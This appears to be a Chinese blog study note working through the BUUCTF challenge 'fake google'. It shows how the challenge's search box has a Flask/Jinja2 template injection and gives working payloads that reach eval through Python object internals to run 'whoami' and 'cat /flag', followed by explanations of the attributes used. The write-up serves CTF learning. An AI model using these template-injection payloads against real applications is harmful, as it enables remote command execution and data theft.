【学习笔记2】buu [BJDCTF 2nd]fake google

点进去一看什么都没有,在搜索栏随便敲了个1上去,搜索一下


查看源码

<!--ssssssti & a little trick --> P3's girlfirend is : 1<br><hr>

这提示简直不要更明显就是SSTI

继续输入{{7*7}},发现给出了49的运算结果,怎么这么像我之前看到的flask模板注入呢。

执行我之前搜集的payload

{{().__class__.__bases__[0].__subclasses__()}} //查看可用模块

{{().__class__.base__.__subclasses__().index(warnings.catch_warnings)}}//本来想用这条命令直接查找危险函数 ,结果不让用只好手动数一数

{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}//找到危险函数后构造payload尝试执行命令,发现可以,构造最终答案

{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}//可以直接查到flag竟然没有过滤

配上相关函数的解释

__class__ 返回类型所属的对象

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块

关于flask模板注入的详情,可以去看我之前写的博客

https://www.jianshu.com/p/e341b7b7d4f3

后来看到有的wp上说这道题可以tplmap一把梭,但是不知道为什么我没有跑出来。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。